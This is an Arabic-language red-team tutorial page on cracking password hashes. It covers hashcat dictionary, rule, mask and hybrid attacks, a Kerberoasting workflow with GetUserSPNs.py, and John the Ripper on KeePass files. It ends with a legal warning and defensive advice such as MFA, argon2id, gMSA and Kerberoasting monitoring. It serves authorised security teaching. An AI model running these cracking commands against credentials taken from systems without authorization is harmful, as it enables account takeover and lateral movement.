الفرق الحمراء — الهجوممتقدم75mL76

كسر كلمات المرور والاعتمادات

Hashcat، John، wordlists، rules، masks، GPU rigs

#Hashcat#John#Cracking#Credentials#GPU

لماذا نكسر hashes أصلاً؟

تشبيه — شرح مبسط
تخيل أن مكتبة احتفظت بقائمة الكتب التي قرأها كل عضو، لكن استبدلت اسم العضو ببصمة (hash). لا يمكنك استرجاع الاسم مباشرة من البصمة، لكن يمكنك أن تأخذ كل الأسماء المعروفة، تحسب بصماتها، وتقارن. تلك هي عملية كسر كلمات المرور: ليست عكس الـ hash، بل تخمين الـ password ثم hashing ثم مقارنة.

في كل engagement، ستحصل على hashes من LSASS، NTDS.dit، /etc/shadow، أو dump قاعدة بيانات. كسرها يحوّل الـ hash إلى credential قابل لإعادة الاستخدام في الحركة الجانبية.

أنواع الـ hashes الشائعة

text
NTLM           — Windows local/domain accounts (16 bytes MD4)
NetNTLMv2      — Network challenge-response (Responder loot)
Kerberos 5 TGS — kerberoasting target (mode 13100)
DCC2 (MSCash2) — cached domain creds on workstations
bcrypt         — modern web apps ($2a$, $2b$)
SHA-512crypt   — Linux /etc/shadow ($6$)
MD5 / SHA1     — لا تزال موجودة في تطبيقات قديمة
PBKDF2-SHA256  — modern, slow (iOS keychain, 1Password)

Hashcat — أداة الميدان

01
بناء rig
GPU = ضرورة. RTX 4090 يكسر 280 GH/s NTLM، سرعة عشرات أضعاف CPU. حتى GTX 1080 يكفي للبدء.
02
هجوم بقاموس
bash
# rockyou.txt = القاموس المفضل (14M password)
hashcat -m 1000 -a 0 ntlm-hashes.txt /usr/share/wordlists/rockyou.txt

# -m 1000 = NTLM
# -a 0 = straight wordlist
03
هجوم بـ rules
قاعدة تعدّل كل كلمة (Capitalize، إضافة 2024، استبدال e بـ 3).
bash
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# best64.rule = 64 تعديل شائع، يضاعف فعالية القاموس بنسبة 5x-10x
04
Mask attack — بنية معروفة
لو سياسة الشركة "8 حروف، رقم في النهاية"، استخدم mask.
bash
# ?u=upper ?l=lower ?d=digit ?s=symbol
hashcat -m 1000 -a 3 hashes.txt ?u?l?l?l?l?l?l?d
# Spring2024! style:
hashcat -m 1000 -a 3 hashes.txt -1 'Spring|Summer|Fall|Winter' ?1?d?d?d?d?s
05
Hybrid
كلمة من القاموس + 4 أرقام في النهاية (تجمع الاثنين).
bash
hashcat -m 1000 -a 6 hashes.txt rockyou.txt ?d?d?d?d

Kerberoasting workflow

الجوهرة: حسابات الخدمة في AD تستخدم كلمات مرور ضعيفة وقابلة للهاش. أي مستخدم نطاق يستطيع طلب TGS لها.

bash
# جلب الـ tickets
GetUserSPNs.py -request corp.local/normaluser:Pass123 -dc-ip 10.0.0.10 -outputfile tgs.hashes

# كسرها (mode 13100)
hashcat -m 13100 -a 0 tgs.hashes rockyou.txt -r best64.rule

# Service accounts often have "Service@2023" / "ServiceName123" passwords

JtR — للحالات التي يفشل فيها hashcat

John the Ripper جيد للأنواع الغريبة (KeePass، 1Password، PDF، ZIP). hashcat لـ GPU، John لـ CPU + المرونة.

bash
# تخمين تلقائي للـ hash type
john --wordlist=rockyou.txt hashes.txt

# على keepass
keepass2john Database.kdbx > kp.hash
john --wordlist=rockyou.txt kp.hash
تحذير قانوني
كسر hashes حصلت عليها من نظام لا تملكه أو dump بيانات مسرّب = جريمة. كل العمل هنا يفترض hashes من مختبرك أو engagement مع authorization.
الدفاع — لماذا تكون كلمة المرور مهمة
  • طول > تعقيد: 16 حرف عشوائي أصعب من Pa$$w0rd1!
  • افرض passphrase 4 كلمات (دياقرام XKCD)
  • منع كلمات شائعة: HaveIBeenPwned API على signup
  • استخدم bcrypt/argon2id بدلاً من MD5/SHA — slow by design
  • MFA في كل مكان — يكسر hash لكنه لا يمر
  • راقب Kerberoasting: 4769 TGS requests غير اعتيادية
  • استخدم Group Managed Service Accounts (gMSA) — كلمات مرور 240 رمز تتغير تلقائياً

مقاييس

text
-- RTX 4090 على NTLM --
Pure brute  ?u?l?l?l?l?l?d?d  ≈ 6 ساعات
8-char rockyou + best64       ≈ دقيقتان
Kerberoast (13100) rockyou    ≈ 8 ساعات per ticket

-- DCC2 (slow) --
~4 MH/s فقط — تجنبه إلا للحسابات عالية القيمة

مصادر

  • Hashcat wiki — hashcat.net/wiki
  • SecLists — wordlists collection
  • Hash-Identifier / hashid — تحديد نوع الـ hash
  • CrackStation — lookup tables للـ hashes الضعيفة